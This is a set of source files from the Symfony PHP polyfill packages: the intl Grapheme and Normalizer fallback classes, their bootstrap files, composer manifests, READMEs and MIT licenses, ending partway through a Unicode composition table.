"php": ">=7.2" }, "provide": { "ext-ctype": "*" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Ctype\\": "" }, "files": [ "bootstrap.php" ] }, "suggest": { "ext-ctype": "For best performance" }, "minimum-stability": "dev", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Intl\Grapheme; \define('SYMFONY_GRAPHEME_CLUSTER_RX', ((float) \PCRE_VERSION < 10 ? (float) \PCRE_VERSION >= 8.32 : (float) \PCRE_VERSION >= 10.39) ? '\X' : Grapheme::GRAPHEME_CLUSTER_RX); /** * Partial intl implementation in pure PHP. * * Implemented: * - grapheme_extract - Extract a sequence of grapheme clusters from a text buffer, which must be encoded in UTF-8 * - grapheme_stripos - Find position (in grapheme units) of first occurrence of a case-insensitive string * - grapheme_stristr - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack * - grapheme_strlen - Get string length in grapheme units * - grapheme_strpos - Find position (in grapheme units) of first occurrence of a string * - grapheme_strripos - Find position (in grapheme units) of last occurrence of a case-insensitive string * - grapheme_strrpos - Find position (in grapheme units) of last occurrence of a string * - grapheme_strstr - Returns part of haystack string from the first occurrence of needle to the end of haystack * - grapheme_substr - Return part of a string * - grapheme_str_split - Splits a string into an array of individual or chunks of graphemes * * @author Nicolas Grekas * * @internal */ final class Grapheme { // (CRLF|([ZWNJ-ZWJ]|T+|L*(LV?V+|LV|LVT)T*|L+|[^Control])[Extend]*|[Control]) // This regular expression is a work around for http://bugs.exim.org/1279 public const GRAPHEME_CLUSTER_RX = '(?:\r\n|(?:[ -~\x{200C}\x{200D}]|[ᆨ-ᇹ]+|[ᄀ-ᅟ]*(?:[가개갸걔거게겨계고과괘괴교구궈궤귀규그긔기까깨꺄꺠꺼께껴꼐꼬꽈꽤꾀꾜꾸꿔꿰뀌뀨끄끠끼나내냐냬너네녀녜노놔놰뇌뇨누눠눼뉘뉴느늬니다대댜댸더데뎌뎨도돠돼되됴두둬뒈뒤듀드듸디따때땨떄떠떼뗘뗴또똬뙈뙤뚀뚜뚸뛔뛰뜌뜨띄띠라래랴럐러레려례로롸뢔뢰료루뤄뤠뤼류르릐리마매먀먜머메며몌모뫄뫠뫼묘무뭐뭬뮈뮤므믜미바배뱌뱨버베벼볘보봐봬뵈뵤부붜붸뷔뷰브븨비빠빼뺘뺴뻐뻬뼈뼤뽀뽜뽸뾔뾰뿌뿨쀄쀠쀼쁘쁴삐사새샤섀서세셔셰소솨쇄쇠쇼수숴쉐쉬슈스싀시싸쌔쌰썌써쎄쎠쎼쏘쏴쐐쐬쑈쑤쒀쒜쒸쓔쓰씌씨아애야얘어에여예오와왜외요우워웨위유으의이자재쟈쟤저제져졔조좌좨죄죠주줘줴쥐쥬즈즤지짜째쨔쨰쩌쩨쪄쪠쪼쫘쫴쬐쬬쭈쭤쮀쮜쮸쯔쯰찌차채챠챼처체쳐쳬초촤쵀최쵸추춰췌취츄츠츼치카캐캬컈커케켜켸코콰쾌쾨쿄쿠쿼퀘퀴큐크킈키타태탸턔터테텨톄토톼퇘퇴툐투퉈퉤튀튜트틔티파패퍄퍠퍼페펴폐포퐈퐤푀표푸풔풰퓌퓨프픠피하해햐햬허헤혀혜호화홰회효후훠훼휘휴흐희히]?[ᅠ-ᆢ]+|[가-힣])[ᆨ-ᇹ]*|[ᄀ-ᅟ]+|[^\p{Cc}\p{Cf}\p{Zl}\p{Zp}])[\p{Mn}\p{Me}\x{09BE}\x{09D7}\x{0B3E}\x{0B57}\x{0BBE}\x{0BD7}\x{0CC2}\x{0CD5}\x{0CD6}\x{0D3E}\x{0D57}\x{0DCF}\x{0DDF}\x{200C}\x{200D}\x{1D165}\x{1D16E}-\x{1D172}]*|[\p{Cc}\p{Cf}\p{Zl}\p{Zp}])'; private const CASE_FOLD = [ ['µ', 'ſ', "\xCD\x85", 'ς', "\xCF\x90", "\xCF\x91", "\xCF\x95", "\xCF\x96", "\xCF\xB0", "\xCF\xB1", "\xCF\xB5", "\xE1\xBA\x9B", "\xE1\xBE\xBE"], ['μ', 's', 'ι', 'σ', 'β', 'θ', 'φ', 'π', 'κ', 'ρ', 'ε', "\xE1\xB9\xA1", 'ι'], ]; public static function grapheme_extract($s, $size, $type = \GRAPHEME_EXTR_COUNT, $start = 0, &$next = 0) { if (0 > $start) { $start = \strlen($s) + $start; } if (!\is_scalar($s)) { $hasError = false; set_error_handler(function () use (&$hasError) { $hasError = true; }); $next = substr($s, $start); restore_error_handler(); if ($hasError) { substr($s, $start); $s = ''; } else { $s = $next; } } else { $s = substr($s, $start); } $size = (int) $size; $type = (int) $type; $start = (int) $start; if (\GRAPHEME_EXTR_COUNT !== $type && \GRAPHEME_EXTR_MAXBYTES !== $type && \GRAPHEME_EXTR_MAXCHARS !== $type) { if (80000 > \PHP_VERSION_ID) { return false; } throw new \ValueError('grapheme_extract(): Argument #3 ($type) must be one of GRAPHEME_EXTR_COUNT, GRAPHEME_EXTR_MAXBYTES, or GRAPHEME_EXTR_MAXCHARS'); } if (!isset($s[0]) || 0 > $size || 0 > $start) { return false; } if (0 === $size) { return ''; } $next = $start; $s = preg_split('/('.SYMFONY_GRAPHEME_CLUSTER_RX.')/u', "\r\n".$s, $size + 1, \PREG_SPLIT_NO_EMPTY | \PREG_SPLIT_DELIM_CAPTURE); if (!isset($s[1])) { return false; } $i = 1; $ret = ''; do { if (\GRAPHEME_EXTR_COUNT === $type) { --$size; } elseif (\GRAPHEME_EXTR_MAXBYTES === $type) { $size -= \strlen($s[$i]); } else { $size -= iconv_strlen($s[$i], 'UTF-8//IGNORE'); } if ($size >= 0) { $ret .= $s[$i]; } } while (isset($s[++$i]) && $size > 0); $next += \strlen($ret); return $ret; } public static function grapheme_strlen($s) { preg_replace('/'.SYMFONY_GRAPHEME_CLUSTER_RX.'/u', '', $s, -1, $len); return 0 === $len && '' !== $s ? null : $len; } public static function grapheme_substr($s, $start, $len = null) { if (null === $len) { $len = 2147483647; } preg_match_all('/'.SYMFONY_GRAPHEME_CLUSTER_RX.'/u', $s, $s); $slen = \count($s[0]); $start = (int) $start; if (0 > $start) { $start += $slen; } if (0 > $start) { if (\PHP_VERSION_ID < 80000) { return false; } $start = 0; } if ($start >= $slen) { return \PHP_VERSION_ID >= 80000 ? '' : false; } $rem = $slen - $start; if (0 > $len) { $len += $rem; } if (0 === $len) { return ''; } if (0 > $len) { return \PHP_VERSION_ID >= 80000 ? '' : false; } if ($len > $rem) { $len = $rem; } return implode('', \array_slice($s[0], $start, $len)); } public static function grapheme_strpos($s, $needle, $offset = 0) { return self::grapheme_position($s, $needle, $offset, 0); } public static function grapheme_stripos($s, $needle, $offset = 0) { return self::grapheme_position($s, $needle, $offset, 1); } public static function grapheme_strrpos($s, $needle, $offset = 0) { return self::grapheme_position($s, $needle, $offset, 2); } public static function grapheme_strripos($s, $needle, $offset = 0) { return self::grapheme_position($s, $needle, $offset, 3); } public static function grapheme_stristr($s, $needle, $beforeNeedle = false) { return mb_stristr($s, $needle, $beforeNeedle, 'UTF-8'); } public static function grapheme_strstr($s, $needle, $beforeNeedle = false) { return mb_strstr($s, $needle, $beforeNeedle, 'UTF-8'); } public static function grapheme_str_split($s, $len = 1) { if (0 > $len || 1073741823 < $len) { if (80000 > \PHP_VERSION_ID) { return false; } throw new \ValueError('grapheme_str_split(): Argument #2 ($length) must be greater than 0 and less than or equal to 1073741823.'); } if ('' === $s) { return []; } if (!preg_match_all('/('.SYMFONY_GRAPHEME_CLUSTER_RX.')/u', $s, $matches)) { return false; } if (1 === $len) { return $matches[0]; } $chunks = array_chunk($matches[0], $len); foreach ($chunks as &$chunk) { $chunk = implode('', $chunk); } return $chunks; } private static function grapheme_position($s, $needle, $offset, $mode) { $needle = (string) $needle; if (80000 > \PHP_VERSION_ID && !preg_match('/./us', $needle)) { return false; } $s = (string) $s; if (!preg_match('/./us', $s)) { return false; } if ($offset > 0) { $s = self::grapheme_substr($s, $offset); } elseif ($offset < 0) { if (2 > $mode) { $offset += self::grapheme_strlen($s); $s = self::grapheme_substr($s, $offset); if (0 > $offset) { $offset = 0; } } elseif (0 > $offset += self::grapheme_strlen($needle)) { $s = self::grapheme_substr($s, 0, $offset); $offset = 0; } else { $offset = 0; } } // As UTF-8 is self-synchronizing, and we have ensured the strings are valid UTF-8, // we can use normal binary string functions here. For case-insensitive searches, // case fold the strings first. $caseInsensitive = $mode & 1; $reverse = $mode & 2; if ($caseInsensitive) { // Use the same case folding mode as mbstring does for mb_stripos(). // Stick to SIMPLE case folding to avoid changing the length of the string, which // might result in offsets being shifted. $mode = \defined('MB_CASE_FOLD_SIMPLE') ? \MB_CASE_FOLD_SIMPLE : \MB_CASE_LOWER; $s = mb_convert_case($s, $mode, 'UTF-8'); $needle = mb_convert_case($needle, $mode, 'UTF-8'); if (!\defined('MB_CASE_FOLD_SIMPLE')) { $s = str_replace(self::CASE_FOLD[0], self::CASE_FOLD[1], $s); $needle = str_replace(self::CASE_FOLD[0], self::CASE_FOLD[1], $needle); } } if ($reverse) { $needlePos = strrpos($s, $needle); } else { $needlePos = strpos($s, $needle); } return false !== $needlePos ? self::grapheme_strlen(substr($s, 0, $needlePos)) + $offset : false; } } Copyright (c) 2015-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Symfony Polyfill / Intl: Grapheme ================================= This component provides a partial, native PHP implementation of the [Grapheme functions](https://php.net/intl.grapheme) from the [Intl](https://php.net/intl) extension. - [`grapheme_extract`](https://php.net/grapheme_extract): Extract a sequence of grapheme clusters from a text buffer, which must be encoded in UTF-8 - [`grapheme_stripos`](https://php.net/grapheme_stripos): Find position (in grapheme units) of first occurrence of a case-insensitive string - [`grapheme_stristr`](https://php.net/grapheme_stristr): Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack - [`grapheme_strlen`](https://php.net/grapheme_strlen): Get string length in grapheme units - [`grapheme_strpos`](https://php.net/grapheme_strpos): Find position (in grapheme units) of first occurrence of a string - [`grapheme_strripos`](https://php.net/grapheme_strripos): Find position (in grapheme units) of last occurrence of a case-insensitive string - [`grapheme_strrpos`](https://php.net/grapheme_strrpos): Find position (in grapheme units) of last occurrence of a string - [`grapheme_strstr`](https://php.net/grapheme_strstr): Returns part of haystack string from the first occurrence of needle to the end of haystack - [`grapheme_substr`](https://php.net/grapheme_substr): Return part of a string - [`grapheme_str_split`](https://php.net/grapheme_str_split): Splits a string into an array of individual or chunks of graphemes More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Intl\Grapheme as p; if (\PHP_VERSION_ID >= 80000) { return require __DIR__.'/bootstrap80.php'; } if (!defined('GRAPHEME_EXTR_COUNT')) { define('GRAPHEME_EXTR_COUNT', 0); } if (!defined('GRAPHEME_EXTR_MAXBYTES')) { define('GRAPHEME_EXTR_MAXBYTES', 1); } if (!defined('GRAPHEME_EXTR_MAXCHARS')) { define('GRAPHEME_EXTR_MAXCHARS', 2); } if (!function_exists('grapheme_extract')) { function grapheme_extract($haystack, $size, $type = 0, $start = 0, &$next = 0) { return p\Grapheme::grapheme_extract($haystack, $size, $type, $start, $next); } } if (!function_exists('grapheme_stripos')) { function grapheme_stripos($haystack, $needle, $offset = 0) { return p\Grapheme::grapheme_stripos($haystack, $needle, $offset); } } if (!function_exists('grapheme_stristr')) { function grapheme_stristr($haystack, $needle, $beforeNeedle = false) { return p\Grapheme::grapheme_stristr($haystack, $needle, $beforeNeedle); } } if (!function_exists('grapheme_strlen')) { function grapheme_strlen($input) { return p\Grapheme::grapheme_strlen($input); } } if (!function_exists('grapheme_strpos')) { function grapheme_strpos($haystack, $needle, $offset = 0) { return p\Grapheme::grapheme_strpos($haystack, $needle, $offset); } } if (!function_exists('grapheme_strripos')) { function grapheme_strripos($haystack, $needle, $offset = 0) { return p\Grapheme::grapheme_strripos($haystack, $needle, $offset); } } if (!function_exists('grapheme_strrpos')) { function grapheme_strrpos($haystack, $needle, $offset = 0) { return p\Grapheme::grapheme_strrpos($haystack, $needle, $offset); } } if (!function_exists('grapheme_strstr')) { function grapheme_strstr($haystack, $needle, $beforeNeedle = false) { return p\Grapheme::grapheme_strstr($haystack, $needle, $beforeNeedle); } } if (!function_exists('grapheme_substr')) { function grapheme_substr($string, $offset, $length = null) { return p\Grapheme::grapheme_substr($string, $offset, $length); } } if (!function_exists('grapheme_str_split')) { function grapheme_str_split($string, $length = 1) { return p\Grapheme::grapheme_str_split($string, $length); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Intl\Grapheme as p; if (!function_exists('grapheme_str_split')) { function grapheme_str_split(string $string, int $length = 1): array|false { return p\Grapheme::grapheme_str_split($string, $length); } } if (extension_loaded('intl')) { return; } if (!defined('GRAPHEME_EXTR_COUNT')) { define('GRAPHEME_EXTR_COUNT', 0); } if (!defined('GRAPHEME_EXTR_MAXBYTES')) { define('GRAPHEME_EXTR_MAXBYTES', 1); } if (!defined('GRAPHEME_EXTR_MAXCHARS')) { define('GRAPHEME_EXTR_MAXCHARS', 2); } if (!function_exists('grapheme_extract')) { function grapheme_extract(?string $haystack, ?int $size, ?int $type = GRAPHEME_EXTR_COUNT, ?int $offset = 0, &$next = null): string|false { return p\Grapheme::grapheme_extract((string) $haystack, (int) $size, (int) $type, (int) $offset, $next); } } if (!function_exists('grapheme_stripos')) { function grapheme_stripos(?string $haystack, ?string $needle, ?int $offset = 0): int|false { return p\Grapheme::grapheme_stripos((string) $haystack, (string) $needle, (int) $offset); } } if (!function_exists('grapheme_stristr')) { function grapheme_stristr(?string $haystack, ?string $needle, ?bool $beforeNeedle = false): string|false { return p\Grapheme::grapheme_stristr((string) $haystack, (string) $needle, (bool) $beforeNeedle); } } if (!function_exists('grapheme_strlen')) { function grapheme_strlen(?string $string): int|false|null { return p\Grapheme::grapheme_strlen((string) $string); } } if (!function_exists('grapheme_strpos')) { function grapheme_strpos(?string $haystack, ?string $needle, ?int $offset = 0): int|false { return p\Grapheme::grapheme_strpos((string) $haystack, (string) $needle, (int) $offset); } } if (!function_exists('grapheme_strripos')) { function grapheme_strripos(?string $haystack, ?string $needle, ?int $offset = 0): int|false { return p\Grapheme::grapheme_strripos((string) $haystack, (string) $needle, (int) $offset); } } if (!function_exists('grapheme_strrpos')) { function grapheme_strrpos(?string $haystack, ?string $needle, ?int $offset = 0): int|false { return p\Grapheme::grapheme_strrpos((string) $haystack, (string) $needle, (int) $offset); } } if (!function_exists('grapheme_strstr')) { function grapheme_strstr(?string $haystack, ?string $needle, ?bool $beforeNeedle = false): string|false { return p\Grapheme::grapheme_strstr((string) $haystack, (string) $needle, (bool) $beforeNeedle); } } if (!function_exists('grapheme_substr')) { function grapheme_substr(?string $string, ?int $offset, ?int $length = null): string|false { return p\Grapheme::grapheme_substr((string) $string, (int) $offset, $length); } } { "name": "symfony/polyfill-intl-grapheme", "type": "library", "description": "Symfony polyfill for intl's grapheme_* functions", "keywords": ["polyfill", "shim", "compatibility", "portable", "intl", "grapheme"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.2" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Intl\\Grapheme\\": "" }, "files": [ "bootstrap.php" ] }, "suggest": { "ext-intl": "For best performance" }, "minimum-stability": "dev", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } Copyright (c) 2015-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Intl\Normalizer; /** * Normalizer is a PHP fallback implementation of the Normalizer class provided by the intl extension. * * It has been validated with Unicode 6.3 Normalization Conformance Test. * See http://www.unicode.org/reports/tr15/ for detailed info about Unicode normalizations. * * @author Nicolas Grekas * * @internal */ class Normalizer { public const FORM_D = \Normalizer::FORM_D; public const FORM_KD = \Normalizer::FORM_KD; public const FORM_C = \Normalizer::FORM_C; public const FORM_KC = \Normalizer::FORM_KC; public const NFD = \Normalizer::NFD; public const NFKD = \Normalizer::NFKD; public const NFC = \Normalizer::NFC; public const NFKC = \Normalizer::NFKC; private static $C; private static $D; private static $KD; private static $cC; private static $ulenMask = ["\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4]; private static $ASCII = "\x20\x65\x69\x61\x73\x6E\x74\x72\x6F\x6C\x75\x64\x5D\x5B\x63\x6D\x70\x27\x0A\x67\x7C\x68\x76\x2E\x66\x62\x2C\x3A\x3D\x2D\x71\x31\x30\x43\x32\x2A\x79\x78\x29\x28\x4C\x39\x41\x53\x2F\x50\x22\x45\x6A\x4D\x49\x6B\x33\x3E\x35\x54\x3C\x44\x34\x7D\x42\x7B\x38\x46\x77\x52\x36\x37\x55\x47\x4E\x3B\x4A\x7A\x56\x23\x48\x4F\x57\x5F\x26\x21\x4B\x3F\x58\x51\x25\x59\x5C\x09\x5A\x2B\x7E\x5E\x24\x40\x60\x7F\x00\x01\x02\x03\x04\x05\x06\x07\x08\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"; public static function isNormalized(string $s, int $form = self::FORM_C) { if (!\in_array($form, [self::NFD, self::NFKD, self::NFC, self::NFKC])) { return false; } if (!isset($s[strspn($s, self::$ASCII)])) { return true; } if (self::NFC == $form && preg_match('//u', $s) && !preg_match('/[^\x00-\x{2FF}]/u', $s)) { return true; } return self::normalize($s, $form) === $s; } public static function normalize(string $s, int $form = self::FORM_C) { if (!preg_match('//u', $s)) { return false; } switch ($form) { case self::NFC: $C = true; $K = false; break; case self::NFD: $C = false; $K = false; break; case self::NFKC: $C = true; $K = true; break; case self::NFKD: $C = false; $K = true; break; default: if (\defined('Normalizer::NONE') && \Normalizer::NONE == $form) { return $s; } if (80000 > \PHP_VERSION_ID) { return false; } throw new \ValueError('normalizer_normalize(): Argument #2 ($form) must be a a valid normalization form'); } if ('' === $s) { return ''; } if ($K && null === self::$KD) { self::$KD = self::getData('compatibilityDecomposition'); } if (null === self::$D) { self::$D = self::getData('canonicalDecomposition'); self::$cC = self::getData('combiningClass'); } if (null !== $mbEncoding = (2 /* MB_OVERLOAD_STRING */ & (int) \ini_get('mbstring.func_overload')) ? mb_internal_encoding() : null) { mb_internal_encoding('8bit'); } $r = self::decompose($s, $K); if ($C) { if (null === self::$C) { self::$C = self::getData('canonicalComposition'); } $r = self::recompose($r); } if (null !== $mbEncoding) { mb_internal_encoding($mbEncoding); } return $r; } private static function recompose($s) { $ASCII = self::$ASCII; $compMap = self::$C; $combClass = self::$cC; $ulenMask = self::$ulenMask; $result = $tail = ''; $i = $s[0] < "\x80" ? 1 : $ulenMask[$s[0] & "\xF0"]; $len = \strlen($s); $lastUchr = substr($s, 0, $i); $lastUcls = isset($combClass[$lastUchr]) ? 256 : 0; while ($i < $len) { if ($s[$i] < "\x80") { // ASCII chars if ($tail) { $lastUchr .= $tail; $tail = ''; } if ($j = strspn($s, $ASCII, $i + 1)) { $lastUchr .= substr($s, $i, $j); $i += $j; } $result .= $lastUchr; $lastUchr = $s[$i]; $lastUcls = 0; ++$i; continue; } $ulen = $ulenMask[$s[$i] & "\xF0"]; $uchr = substr($s, $i, $ulen); if ($lastUchr < "\xE1\x84\x80" || "\xE1\x84\x92" < $lastUchr || $uchr < "\xE1\x85\xA1" || "\xE1\x85\xB5" < $uchr || $lastUcls) { // Table lookup and combining chars composition $ucls = $combClass[$uchr] ?? 0; if (isset($compMap[$lastUchr.$uchr]) && (!$lastUcls || $lastUcls < $ucls)) { $lastUchr = $compMap[$lastUchr.$uchr]; } elseif ($lastUcls = $ucls) { $tail .= $uchr; } else { if ($tail) { $lastUchr .= $tail; $tail = ''; } $result .= $lastUchr; $lastUchr = $uchr; } } else { // Hangul chars $L = \ord($lastUchr[2]) - 0x80; $V = \ord($uchr[2]) - 0xA1; $T = 0; $uchr = substr($s, $i + $ulen, 3); if ("\xE1\x86\xA7" <= $uchr && $uchr <= "\xE1\x87\x82") { $T = \ord($uchr[2]) - 0xA7; 0 > $T && $T += 0x40; $ulen += 3; } $L = 0xAC00 + ($L * 21 + $V) * 28 + $T; $lastUchr = \chr(0xE0 | $L >> 12).\chr(0x80 | $L >> 6 & 0x3F).\chr(0x80 | $L & 0x3F); } $i += $ulen; } return $result.$lastUchr.$tail; } private static function decompose($s, $c) { $result = ''; $ASCII = self::$ASCII; $decompMap = self::$D; $combClass = self::$cC; $ulenMask = self::$ulenMask; if ($c) { $compatMap = self::$KD; } $c = []; $i = 0; $len = \strlen($s); while ($i < $len) { if ($s[$i] < "\x80") { // ASCII chars if ($c) { ksort($c); $result .= implode('', $c); $c = []; } $j = 1 + strspn($s, $ASCII, $i + 1); $result .= substr($s, $i, $j); $i += $j; continue; } $ulen = $ulenMask[$s[$i] & "\xF0"]; $uchr = substr($s, $i, $ulen); $i += $ulen; if ($uchr < "\xEA\xB0\x80" || "\xED\x9E\xA3" < $uchr) { // Table lookup if ($uchr !== $j = $compatMap[$uchr] ?? ($decompMap[$uchr] ?? $uchr)) { $uchr = $j; $j = \strlen($uchr); $ulen = $uchr[0] < "\x80" ? 1 : $ulenMask[$uchr[0] & "\xF0"]; if ($ulen != $j) { // Put trailing chars in $s $j -= $ulen; $i -= $j; if (0 > $i) { $s = str_repeat(' ', -$i).$s; $len -= $i; $i = 0; } while ($j--) { $s[$i + $j] = $uchr[$ulen + $j]; } $uchr = substr($uchr, 0, $ulen); } } if (isset($combClass[$uchr])) { // Combining chars, for sorting if (!isset($c[$combClass[$uchr]])) { $c[$combClass[$uchr]] = ''; } $c[$combClass[$uchr]] .= $uchr; continue; } } else { // Hangul chars $uchr = unpack('C*', $uchr); $j = (($uchr[1] - 224) << 12) + (($uchr[2] - 128) << 6) + $uchr[3] - 0xAC80; $uchr = "\xE1\x84".\chr(0x80 + (int) ($j / 588)) ."\xE1\x85".\chr(0xA1 + (int) (($j % 588) / 28)); if ($j %= 28) { $uchr .= $j < 25 ? ("\xE1\x86".\chr(0xA7 + $j)) : ("\xE1\x87".\chr(0x67 + $j)); } } if ($c) { ksort($c); $result .= implode('', $c); $c = []; } $result .= $uchr; } if ($c) { ksort($c); $result .= implode('', $c); } return $result; } private static function getData($file) { if (file_exists($file = __DIR__.'/Resources/unidata/'.$file.'.php')) { return require $file; } return false; } } Symfony Polyfill / Intl: Normalizer =================================== This component provides a fallback implementation for the [`Normalizer`](https://php.net/Normalizer) class provided by the [Intl](https://php.net/intl) extension. More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). 'À', 'Á' => 'Á', 'Â' => 'Â', 'Ã' => 'Ã', 'Ä' => 'Ä', 'Å' => 'Å', 'Ç' => 'Ç', 'È' => 'È', 'É' => 'É', 'Ê' => 'Ê', 'Ë' => 'Ë', 'Ì' => 'Ì', 'Í' => 'Í', 'Î' => 'Î', 'Ï' => 'Ï', 'Ñ' => 'Ñ', 'Ò' => 'Ò', 'Ó' => 'Ó', 'Ô' => 'Ô', 'Õ' => 'Õ', 'Ö' => 'Ö', 'Ù' => 'Ù', 'Ú' => 'Ú', 'Û' => 'Û', 'Ü' => 'Ü', 'Ý' => 'Ý', 'à' => 'à', 'á' => 'á', 'â' => 'â', 'ã' => 'ã', 'ä' => 'ä', 'å' => 'å', 'ç' => 'ç', 'è' => 'è', 'é' => 'é', 'ê' => 'ê', 'ë' => 'ë', 'ì' => 'ì', 'í' => 'í', 'î' => 'î', 'ï' => 'ï', 'ñ' => 'ñ', 'ò' => 'ò', 'ó' => 'ó', 'ô' => 'ô', 'õ' => 'õ', 'ö' => 'ö', 'ù' => 'ù', 'ú' => 'ú', 'û' => 'û', 'ü' => 'ü', 'ý' => 'ý', 'ÿ' => 'ÿ', 'Ā' => 'Ā', 'ā' => 'ā', 'Ă' => 'Ă', 'ă' => 'ă', 'Ą' => 'Ą', 'ą' => 'ą', 'Ć' => 'Ć', 'ć' => 'ć', 'Ĉ' => 'Ĉ', 'ĉ' => 'ĉ', 'Ċ' => 'Ċ', 'ċ' => 'ċ', 'Č' => 'Č', 'č' => 'č', 'Ď' => 'Ď', 'ď' => 'ď', 'Ē' => 'Ē', 'ē' => 'ē', 'Ĕ' => 'Ĕ', 'ĕ' => 'ĕ', 'Ė' => 'Ė', 'ė' => 'ė', 'Ę' => 'Ę', 'ę' => 'ę', 'Ě' => 'Ě', 'ě' => 'ě', 'Ĝ' => 'Ĝ', 'ĝ' => 'ĝ', 'Ğ' => 'Ğ', 'ğ' => 'ğ', 'Ġ' => 'Ġ', 'ġ' => 'ġ', 'Ģ' => 'Ģ', 'ģ' => 'ģ', 'Ĥ' => 'Ĥ', 'ĥ' => 'ĥ', 'Ĩ' => 'Ĩ', 'ĩ' => 'ĩ', 'Ī' => 'Ī', 'ī' => 'ī', 'Ĭ' => 'Ĭ', 'ĭ' => 'ĭ', 'Į' => 'Į', 'į' => 'į', 'İ' => 'İ', 'Ĵ' => 'Ĵ', 'ĵ' => 'ĵ', 'Ķ' => 'Ķ', 'ķ' => 'ķ', 'Ĺ' => 'Ĺ', 'ĺ' => 'ĺ', 'Ļ' => 'Ļ', 'ļ' => 'ļ', 'Ľ' => 'Ľ', 'ľ' => 'ľ', 'Ń' => 'Ń', 'ń' => 'ń', 'Ņ' => 'Ņ', 'ņ' => 'ņ', 'Ň' => 'Ň', 'ň' => 'ň', 'Ō' => 'Ō', 'ō' => 'ō', 'Ŏ' => 'Ŏ', 'ŏ' => 'ŏ', 'Ő' => 'Ő', 'ő' => 'ő', 'Ŕ' => 'Ŕ', 'ŕ' => 'ŕ', 'Ŗ' => 'Ŗ', 'ŗ' => 'ŗ', 'Ř' => 'Ř', 'ř' => 'ř', 'Ś' => 'Ś', 'ś' => 'ś', 'Ŝ' => 'Ŝ', 'ŝ' => 'ŝ', 'Ş' => 'Ş', 'ş' => 'ş', 'Š' => 'Š', 'š' => 'š', 'Ţ' => 'Ţ', 'ţ' => 'ţ', 'Ť' => 'Ť', 'ť' => 'ť', 'Ũ' => 'Ũ', 'ũ' => 'ũ', 'Ū' => 'Ū', 'ū' => 'ū', 'Ŭ' => 'Ŭ', 'ŭ' => 'ŭ', 'Ů' => 'Ů', 'ů' => 'ů', 'Ű' => 'Ű', 'ű' => 'ű', 'Ų' => 'Ų', 'ų' => 'ų', 'Ŵ' => 'Ŵ', 'ŵ' => 'ŵ', 'Ŷ' => 'Ŷ', 'ŷ' => 'ŷ', 'Ÿ' => 'Ÿ', 'Ź' => 'Ź', 'ź' => 'ź', 'Ż' => 'Ż', 'ż' => 'ż', 'Ž' => 'Ž', 'ž' => 'ž', 'Ơ' => 'Ơ', 'ơ' => 'ơ', 'Ư' => 'Ư', 'ư' => 'ư', 'Ǎ' => 'Ǎ', 'ǎ' => 'ǎ', 'Ǐ' => 'Ǐ', 'ǐ' => 'ǐ', 'Ǒ' => 'Ǒ', 'ǒ' => 'ǒ', 'Ǔ' => 'Ǔ', 'ǔ' => 'ǔ', 'Ǖ' => 'Ǖ', 'ǖ' => 'ǖ', 'Ǘ' => 'Ǘ', 'ǘ' => 'ǘ', 'Ǚ' => 'Ǚ', 'ǚ' => 'ǚ', 'Ǜ' => 'Ǜ', 'ǜ' => 'ǜ', 'Ǟ' => 'Ǟ', 'ǟ' => 'ǟ', 'Ǡ' => 'Ǡ', 'ǡ' => 'ǡ', 'Ǣ' => 'Ǣ', 'ǣ' => 'ǣ', 'Ǧ' => 'Ǧ', 'ǧ' => 'ǧ', 'Ǩ' => 'Ǩ', 